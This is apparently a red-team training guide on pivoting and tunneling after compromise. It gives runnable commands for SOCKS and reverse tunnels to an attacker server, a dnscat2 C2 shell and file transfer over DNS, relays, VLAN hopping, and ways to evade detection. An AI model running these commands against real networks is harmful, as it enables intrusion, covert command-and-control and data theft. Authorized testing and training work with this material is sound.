Pillar 4: Networking, Pivoting & Tunneling

BLUF: You'll rarely operate directly against your target. Pivoting through compromised hosts, tunneling C2 traffic over covert protocols, and routing through multi-hop chains is the core of red team operational tradecraft. Master this or get caught.

Network Pivot Phases

graph TB
    External([External Access]) --> Enum[Network Enumeration]
    Enum --> SSH[SSH Tunneling]
    Enum --> SOCKS[SOCKS Proxy - Chisel/Ligolo]
    SSH --> PortFwd[Port Forwarding]
    SOCKS --> DNS[DNS Tunneling]
    SOCKS --> VPN[VPN Tunneling]
    PortFwd --> VLAN[VLAN Hopping]
    DNS --> Chain([Full Pivot Chain])
    VPN --> Chain
    VLAN --> Chain
    style External fill:#ff6600
    style Chain fill:#00aa00

MITRE ATT&CK Mapping

Action Item 1 — Network Enumeration Post-Pivot [Beginner]

Enumerate network topology from a compromised host to identify pivot targets and internal services. This phase is critical for mapping the internal landscape without triggering network-level alerts.

What you're building: A mental map of every subnet, live host, and open service reachable from this box — built entirely from data already on the host before you send a single packet. Every subsequent pivot decision depends on this picture.

Technique: Post-Exploitation Network Discovery

Tools: ip, netstat, arp, arp-scan, nmap, proxychains, netdiscover

Think of it like arriving at a new office building. Before running anything:

Work through these phases in order. Don't start scanning until you've exhausted passive data collection.

Phase 1 — Host Context & Passive Data Collection

# 1. Enumerate local interfaces and routing table
ip addr show
ip route
cat /proc/net/fib_trie     # detailed routing info (no external tools needed)
cat /etc/resolv.conf       # identify internal DNS servers → pivot targets
cat /etc/hosts             # hardcoded internal mappings

# What subnets are routed through this host?
ip route show | awk '/via/ {print $1, "via", $3}' | sort -u

# Is this host dual-homed? (two routes to different subnets = jackpot)
ip addr show | grep "inet " | awk '{print $2, $NF}'

Why: Internal resolvers and routing table reveal every subnet this host can reach — no scanning required. Dual-homed hosts are automatic pivot candidates.

Phase 2 — ARP Cache & Live Host Discovery

# 2. Check ARP cache for recently contacted hosts
arp -a
ip neighbor show           # includes state: REACHABLE, STALE, FAILED

# Passive discovery with netdiscover (no broadcast)
sudo netdiscover -i eth0 -p

# Active ping sweep using native bash (no nmap, very stealthy)
for i in {1..254}; do
  (ping -c 1 -W 1 10.10.10.$i 2>/dev/null | grep -q "bytes from" && echo "UP: 10.10.10.$i") &
done; wait

# Using arp-scan for reliable local segment discovery
sudo arp-scan -I eth0 10.10.10.0/24

Why: ARP cache gives you live hosts with zero noise. Bash ping sweep is slower than nmap but generates no scanner signatures. Use arp-scan only when speed matters more than stealth.

Phase 3 — Service Discovery (Post-Pivot)

# 3. Port scanning through a SOCKS proxy
# Configure /etc/proxychains4.conf with: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 22,80,443,445,3389,8080,8443 10.10.10.0/24

# Targeted service enumeration once hosts identified
proxychains nmap -sT -Pn --script smb-os-discovery,smb-enum-shares -p 445 10.10.10.5
proxychains nmap -sT -Pn --script http-title -p 80,443,8080,8443 10.10.10.0/24

# 4. Enumerate active connections and listeners
netstat -antup
ss -tulpn
lsof -i -P -n | grep LISTEN

# 5. Identify NFS/RPC shares (often unauthenticated)
rpcinfo -p 10.10.10.5
showmount -e 10.10.10.5

Why: -sT (TCP Connect) is required over SOCKS — SYN scans (-sS) don't work reliably through a proxy. NFS/RPC shares are frequently exposed and unauthenticated in internal networks.

OPSEC: Avoid mass ICMP sweeps or full-port nmap scans. Check /proc/net/tcp for raw connection data if netstat is missing. DNS queries to internal resolvers can map the entire domain without a scan.

Action Item 2 — SSH Tunneling Fundamentals [Beginner]

Master SSH local, remote, and dynamic port forwarding for covert access to internal resources. SSH is often the most reliable and "living off the land" method for pivoting in Linux environments.

What you're building: Encrypted tunnels that let you reach internal services, expose your listener to the target network, or route all your tooling through a jump host — using only the SSH binary already on the system.

Technique: SSH Port Forwarding & Tunneling

Tools: ssh, autossh, ssh-agent

# Local Port Forward: Access remote internal service on local port
# Access internal web server (10.10.10.5:80) via jump host → open browser to 127.0.0.1:8080
ssh -L 8080:10.10.10.5:80 user@jumphost -N -f

# Remote Port Forward: Expose local listener to the remote network
# Your C2 listener on port 4444 becomes reachable on the jump host's port 4444
ssh -R 4444:localhost:4444 user@jumphost -N -f

# Dynamic SOCKS Proxy: Full SOCKS5 proxy — route any tool through the jump host
ssh -D 1080 user@jumphost -N -f
# Use with proxychains: proxychains nmap -sT -Pn 10.10.10.0/24

# Multi-hop SSH Chain (ProxyJump) — cleaner than nesting commands
# Jump through jump1 and jump2 to reach internal-target
ssh -J user1@jump1,user2@jump2 user3@internal-target

# ProxyCommand for older SSH versions (pre-7.3)
ssh -o ProxyCommand="ssh -W %h:%p user1@jump1" user2@internal-target

# Layer 3 Tunneling (TUN/TAP) — requires PermitTunnel yes in sshd_config
ssh -w 0:0 user@jumphost
# On both sides: ip addr add 10.0.0.x/30 dev tun0 && ip link set tun0 up

# Persistent tunnel with autossh — auto-reconnects on drop
autossh -M 0 -f -N -D 1080 user@jumphost

# SSH Escape Sequences — add forwards to an existing live session
# Press '~C' in an active SSH session → opens command line prompt
# Type: -D 1081     → adds a dynamic forward on the fly
# Type: -L 8080:10.10.10.5:80  → adds a local forward

Why: SSH is almost always allowed. -N (no shell execution) and -f (background) keep the tunnel quiet. ProxyJump blends in with normal admin SSH chaining. autossh is essential for long-duration engagements where tunnel stability matters.

OPSEC: SSH traffic is common but long-lived connections to unusual destinations can be flagged. Use ProxyJump to blend in with administrative traffic patterns. Add -o ServerAliveInterval=60 -o ServerAliveCountMax=3 to prevent stale tunnels from lingering in logs.

Action Item 3 — SOCKS Proxy with Chisel & Ligolo-ng [Intermediate]

Deploy modern pivot tools that work without SSH access. Chisel provides robust SOCKS5 tunneling over HTTP, while Ligolo-ng offers a TUN-based approach for native routing without proxychains.

What you're building: A persistent SOCKS proxy or routed tunnel that makes the internal network feel local — your tools connect directly without needing proxychains wrappers.

Technique: SOCKS5 Tunneling & TUN-based Pivoting

Tools: Chisel, Ligolo-ng, rpivot, proxychains

# --- Chisel Setup ---
# Attacker Side (Server) with authentication
./chisel server -p 8000 --reverse --auth "user:pass"

# Pivot Host (Client) — connect back to attacker
# Note: Chisel SOCKS proxy is TCP only; do not use R:socks/udp
./chisel client --auth "user:pass" 10.10.10.1:8000 R:socks

# Chisel with explicit SOCKS port
./chisel client --auth "user:pass" 10.10.10.1:8000 R:1080:socks

# Use a fingerprint to prevent unauthorized connections
./chisel server -p 8000 --reverse --fingerprint <SHA256>

# --- Ligolo-ng Setup (v0.4+, uses -- double-dash prefix) ---
# 1. Attacker Side: Create TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# 2. Attacker Side: Start Proxy (v0.4+ uses -- prefix for flags)
./proxy --selfcert --laddr 0.0.0.0:11601
# Note: Ligolo-ng v0.4+ uses --selfcert and --laddr (double-dash)
# Older versions used -selfcert -laddr (single-dash) — check your version

# 3. Pivot Host: Connect Agent
./agent --connect 10.10.10.1:11601 --ignore-cert

# 4. Attacker Side: Add route to internal network
# Once agent connects, select it in the proxy console and start tunnel:
#   ligolo-ng >> session
#   ligolo-ng >> start
sudo ip route add 10.10.11.0/24 dev ligolo

# Double Pivot with Ligolo-ng:
# 1. On Agent 1: Create a listener
#   ligolo-ng >> listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
# 2. On Agent 2: Connect to Agent 1's listener
./agent --connect 10.10.11.5:11601 --ignore-cert

# --- rpivot (HTTP CONNECT tunneling with NTLM proxy support) ---
# Use when the pivot host is behind a corporate HTTP proxy requiring NTLM auth
# (Chisel and Ligolo-ng don't handle NTLM proxy authentication)

# Attacker side (server):
python2 server.py --server-port 9999 --server-ip 0.0.0.0 \
  --proxy-ip 127.0.0.1 --proxy-port 1080

# Pivot host (client):
python2 client.py --server-ip attacker_ip --server-port 9999

# With corporate NTLM proxy auth:
python2 client.py --server-ip attacker_ip --server-port 9999 \
  --ntlm-proxy-ip proxy_ip --ntlm-proxy-port 8080 \
  --domain CORP --username user --password 'Password1'

Why: Chisel traffic looks like standard HTTP/HTTPS — effective against basic deep packet inspection. Ligolo-ng eliminates the need for proxychains — your tools connect natively to internal IPs. rpivot is the go-to when the pivot host is behind a corporate HTTP proxy requiring NTLM auth; Chisel and Ligolo-ng don't handle this scenario.

OPSEC: Use --fingerprint in Chisel to prevent unauthorized connections to your server. Ligolo-ng requires root/admin on the attacker box to manage the TUN interface. For Chisel, pick a port and User-Agent that blends with existing HTTP traffic on the network.

Action Item 4 — DNS Tunneling [Intermediate]

Exfiltrate data and tunnel C2 communications over DNS for environments with strict egress filtering. This technique abuses the fact that DNS is often allowed even when all other protocols are blocked.

What you're building: A functional IP-over-DNS tunnel or C2 channel that operates entirely over UDP port 53 — the last port standing in locked-down environments.

Technique: DNS Protocol Tunneling

Tools: iodine, dnscat2

# --- iodine (IP over DNS) ---
# Requires: authoritative DNS control over a subdomain (e.g., tunnel.yourdomain.com)

# Server Side (on a VPS with authoritative DNS for tunnel.com)
# Set NS record: tunnel.yourdomain.com → your_vps_ip
sudo iodined -f -c -P SecretPass 10.0.0.1 tunnel.yourdomain.com

# Client Side (on compromised host)
sudo iodine -f -P SecretPass tunnel.yourdomain.com -m 1100
# Creates a 'dns0' interface with IP 10.0.0.2
# You can now SSH over it:
ssh user@10.0.0.1 -D 1080  # SSH SOCKS proxy over the DNS tunnel

# Adjust MTU to avoid fragmentation (fragmentation is a detection trigger)
sudo iodine -f -P SecretPass tunnel.yourdomain.com -m 900

# --- dnscat2 (C2 over DNS) ---
# Does not require full IP-over-DNS; works as a command shell over DNS queries

# Server Side
ruby ./dnscat2.rb tunnel.yourdomain.com

# Client Side
./dnscat --dns domain=tunnel.yourdomain.com

# Interacting with dnscat2 sessions:
# sessions          - List active sessions
# window -i 1       - Interact with session 1
# shell             - Create a new shell session
# exec /bin/sh      - Execute a command in session
# upload /tmp/file  - Upload file to target
# download file.txt - Download file from target

# Encryption (shared secret prevents interception)
ruby ./dnscat2.rb tunnel.yourdomain.com --secret=mysecret
./dnscat --dns domain=tunnel.yourdomain.com --secret=mysecret

Why: DNS is the protocol of last resort — allowed outbound in nearly every network, including hotel WiFi and strict corporate firewalls. iodine gives you a real IP tunnel; dnscat2 gives you a shell when you only need command execution.

OPSEC: DNS tunneling is noisy in logs. High volumes of TXT or NULL queries to a single domain are flagged by modern SIEMs and DNS analytics. Use it only as a last resort or for low-frequency beaconing. Adjust MTU (-m) in iodine to avoid fragmentation which itself is a detection signal. Use long sleep intervals in dnscat2.

Action Item 5 — Port Forwarding Deep Dive [Intermediate]

Chain port forwards through multiple compromised hosts to reach deep network segments. This is essential when SOCKS proxies are not feasible or when specific services need to be exposed directly.

What you're building: Point-to-point relay chains that make a port on a deep-internal host appear on your local machine — no proxychains required, just direct TCP connections.

Technique: TCP Relay & Multi-Hop Forwarding

Tools: socat, netcat, rinetd, plink.exe, netsh

# Socat TCP Relay: Forward local port 3306 to internal DB
socat TCP-LISTEN:3306,fork,reuseaddr TCP:10.10.10.5:3306

# Socat SSL Relay (Encrypted) — wrap the relay in TLS to evade DPI
socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0,fork TCP:10.10.10.5:80

# Netcat Relay (using named pipes — works when socat unavailable)
mknod backpipe p
nc -l -p 8080 0<backpipe | nc 10.10.10.5 80 1>backpipe

# Windows: netsh portproxy (Native — no binary drops needed)
# Add a rule: forward local port 4444 to internal host 445
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=445 connectaddress=192.168.1.10

# View all active portproxy rules
netsh interface portproxy show all

# Delete a specific rule
netsh interface portproxy delete v4tov4 listenport=4444 listenaddress=0.0.0.0

# Reset (remove ALL portproxy rules at once)
netsh interface portproxy reset
# Note: netsh portproxy requires IPv6 to be enabled on some Windows versions
# and persists in the registry across reboots — always clean up after engagement

# Windows: plink.exe (SSH client for Windows)
plink.exe -R 4444:127.0.0.1:4444 user@attacker-ip

# rinetd Configuration (/etc/rinetd.conf) — persistent relay daemon
# bindaddress bindport connectaddress connectport
0.0.0.0 8080 10.10.10.5 80
# service rinetd restart

# Multi-hop socat chain (three nodes: attacker → pivot1 → pivot2 → target)
# On pivot1:
socat TCP-LISTEN:9001,fork TCP:pivot2_ip:9001
# On pivot2:
socat TCP-LISTEN:9001,fork TCP:target_ip:target_port
# On attacker: connect to pivot1:9001

Why: netsh portproxy is a native Windows LOLBin — no binary drops, no AV triggers, survives reboots. socat gives you SSL wrapping to blend relay traffic with legitimate HTTPS. Named pipe relays work when neither tool is available.

OPSEC: socat relays leave persistent listeners — always track PIDs and clean up. netsh portproxy writes to the registry and survives reboots; verify rules are removed during cleanup. Avoid netcat relays on long-duration engagements as nc processes are easy to spot.

Action Item 6 — VPN Tunneling & WireGuard Pivots [Advanced]

Establish full-network-layer tunnels for seamless routing to internal network segments. This provides the most "transparent" pivoting experience — no proxychains, no per-tool configuration.

What you're building: A Layer 3 VPN that makes the entire internal network appear locally routed — your tools see real IPs, DNS resolves internally, and no proxy wrapper is needed.

Technique: Layer 3 VPN Pivoting

Tools: WireGuard, OpenVPN, tun2socks, stunnel

# --- WireGuard Pivot ---
# 1. Generate keys on attacker box
wg genkey | tee attacker_private.key | wg pubkey > attacker_public.key
wg genkey | tee pivot_private.key | wg pubkey > pivot_public.key

# 2. Configure WireGuard on pivot host (/etc/wireguard/wg0.conf)
# [Interface]
# PrivateKey = <Pivot_Private_Key>
# Address = 10.0.0.2/24
# [Peer]
# PublicKey = <Attacker_Public_Key>
# AllowedIPs = 10.0.0.1/32
# Endpoint = attacker_ip:51820

# 3. Bring up interface on pivot
wg-quick up wg0

# 4. Attacker config (/etc/wireguard/wg0.conf)
# [Interface]
# PrivateKey = <Attacker_Private_Key>
# Address = 10.0.0.1/24
# ListenPort = 51820
# [Peer]
# PublicKey = <Pivot_Public_Key>
# AllowedIPs = 10.0.0.2/32, 192.168.10.0/24  # include internal subnet here

# --- stunnel (SSL Wrapper — hides WireGuard/socat traffic inside TLS) ---
# Client Side Config (stunnel.conf)
# [service]
# client = yes
# accept = 127.0.0.1:8080
# connect = attacker_ip:443
# Useful when WireGuard UDP is blocked but TCP 443 is allowed

# --- tun2socks (Convert SOCKS proxy to TUN interface) ---
# When you have a SOCKS proxy but want native routing (no proxychains)
# 1. Create TUN interface on attacker
sudo ip tuntap add dev tun0 mode tun
sudo ip link set tun0 up
sudo ip addr add 198.18.0.1/15 dev tun0

# 2. Route internal traffic through SOCKS via tun2socks
tun2socks -proxy socks5://127.0.0.1:1080 -device tun0
sudo ip route add 10.10.11.0/24 dev tun0

# --- OpenVPN over TCP 443 (common in restrictive egress) ---
# Client config snippet:
# proto tcp-client
# remote attacker_ip 443
# dev tun
# comp-lzo
# Wrap in stunnel if DPI inspection is stripping OpenVPN headers

Why: WireGuard gives you full Layer 3 routing — DNS, UDP tools, and all TCP services work transparently. tun2socks bridges an existing Chisel/SSH SOCKS proxy into a routable TUN device. stunnel makes VPN traffic look like HTTPS to bypass DPI.

OPSEC: WireGuard UDP headers are easy to fingerprint. Wrap in stunnel (TCP 443) in environments with DPI. OpenVPN over TCP 443 blends with HTTPS but is slower. Always verify AllowedIPs doesn't route your own internet traffic through the pivot.

Action Item 7 — VLAN Hopping & Network Segmentation Bypass [Advanced]

Bypass network segmentation through VLAN misconfigurations and trunk port attacks. This targets the underlying network infrastructure rather than the hosts — layer 2 attacks that jump segment boundaries.

What you're building: Access to VLANs that aren't accessible from your current network segment, by exploiting switch misconfigurations or using the native VLAN to craft double-tagged frames.

Technique: Layer 2 Network Attacks

Tools: Yersinia, scapy, vconfig, tcpdump

# 1. Passive reconnaissance: Listen for CDP/LLDP packets
# These reveal switch model, native VLAN, and management IPs without sending anything
tcpdump -nn -v -i eth0 'ether[20:2] == 0x2000'   # Cisco CDP
tcpdump -nn -v -i eth0 'ether proto 0x88CC'       # LLDP (any vendor)

# 2. DTP Spoofing with Yersinia — negotiate trunk port with the switch
yersinia dtp -attack 1       # Send DTP Desirable to convert port to trunk
# If successful: you now receive frames from ALL VLANs on the trunk

# 3. Creating VLAN Interfaces after trunk negotiation (Linux)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.100/24 dev eth0.20
sudo ip link set eth0.20 up

# Older method (vconfig):
sudo vconfig add eth0 20
sudo ip addr add 10.10.20.100/24 dev eth0.20
sudo ip link set eth0.20 up

# 4. Double Tagging (802.1Q in Q) — one-way attack to reach native VLAN hosts
# Requires attacker to be on the switch's native VLAN
# Craft with Scapy:
# from scapy.all import *
# pkt = Ether() / Dot1Q(vlan=1) / Dot1Q(vlan=20) / IP(dst="10.10.20.5") / ICMP()
# sendp(pkt, iface="eth0")
# Note: return traffic won't reach you unless the path is also misconfigured

# 5. VLAN Discovery via nmap scripts
nmap --script broadcast-eigrp-discovery,broadcast-igmp-discovery -e eth0

# 6. STP Manipulation (Spanning Tree Protocol attack — with Yersinia)
# Makes your host the Root Bridge, forcing all switch traffic through you
yersinia stp -attack 1       # Send superior BPDU to become Root Bridge
# Extremely noisy — causes a topology change that affects all switches

Why: VLAN trunking is often left enabled by default on access ports in older switch configurations. If you can negotiate a trunk, you see all VLANs — bypassing any network-layer segmentation silently.

OPSEC: VLAN hopping is extremely noisy at the switch level. Modern managed switches have protections (Port Security, disabling DTP, BPDU Guard) that will trigger alerts or shut down ports. STP attacks cause network-wide topology changes — only use in agreed scopes. Double tagging is typically one-way (exfiltration only).

Action Item 8 — Full Pivot Chain Engagement [Operator]

Execute a complete multi-hop pivot campaign from external foothold to deep internal target. This requires coordinating multiple tunnel types and maintaining connectivity across the chain.

What you're building: A stable, multi-hop pivot infrastructure that survives tunnel drops and lets you operate seamlessly from your workstation against targets three hops deep in a segmented network.

Technique: Multi-Hop Pivot Infrastructure

Tools: Chisel, Ligolo-ng, SSH, socat, proxychains

# Scenario: Attacker → DMZ Linux Host → Internal Windows Host → Deep Internal Linux

# Step 1: Establish SOCKS to DMZ (SSH — most reliable)
ssh -D 1080 user@dmz-host -N -f -o ServerAliveInterval=60

# Step 2: Use Chisel to pivot from DMZ → Internal Windows
# On DMZ (via SSH shell or existing access):
./chisel server -p 8001 --reverse --auth "ops:s3cr3t"
# On Internal Windows (run via initial foothold):
chisel.exe client --auth "ops:s3cr3t" dmz-host:8001 R:1081:socks
# Update /etc/proxychains4.conf:
# socks5 127.0.0.1 1080  ← DMZ hop
# socks5 127.0.0.1 1081  ← Internal hop (through DMZ's chisel)

# Step 3: Deploy Ligolo-ng for native routing to Deep Internal
# On Attacker:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy --selfcert --laddr 0.0.0.0:11601
# On Deep Internal (reached through previous proxychains hops):
proxychains ./agent --connect attacker-ip:11601 --ignore-cert
# Once connected, add route:
sudo ip route add 172.16.10.0/24 dev ligolo

# Step 4: Verify Chain and Maintain Persistence
proxychains curl http://deep-internal-service
proxychains nmap -sT -Pn -p 445,3389,8080 172.16.10.0/24

# Keep tunnels alive:
# Use 'screen' or 'tmux' on every pivot host
# Document all PIDs:
ps aux | grep -E 'ssh|chisel|agent|socat'

# Step 5: Cleanup
# Kill in reverse order (deepest pivot first)
# Remove binaries from /tmp, /dev/shm
# Reset netsh portproxy rules on Windows
# Kill autossh/ssh -f processes by PID

Operational Checklist:

1. Mapping: Identify all hops, IP ranges, and OS types before establishing any tunnel.
2. Protocol Selection: Choose least noisy protocol for each hop (SSH > Chisel > DNS).
3. Connectivity Testing: Test connectivity at each stage before proceeding deeper.
4. Persistence: Monitor for tunnel drops; implement auto-reconnect (autossh, Chisel --max-retry-count).
5. Traffic Evasion: Use SSL-wrapping or non-standard ports to bypass DPI inspection.
6. Cleanup: Remove all listeners, binaries, and configuration changes upon completion.
7. Documentation: Track every hop, port, and PID for the final report's attack path.

Resources & Certifications

Part of the Red Teaming 101 series.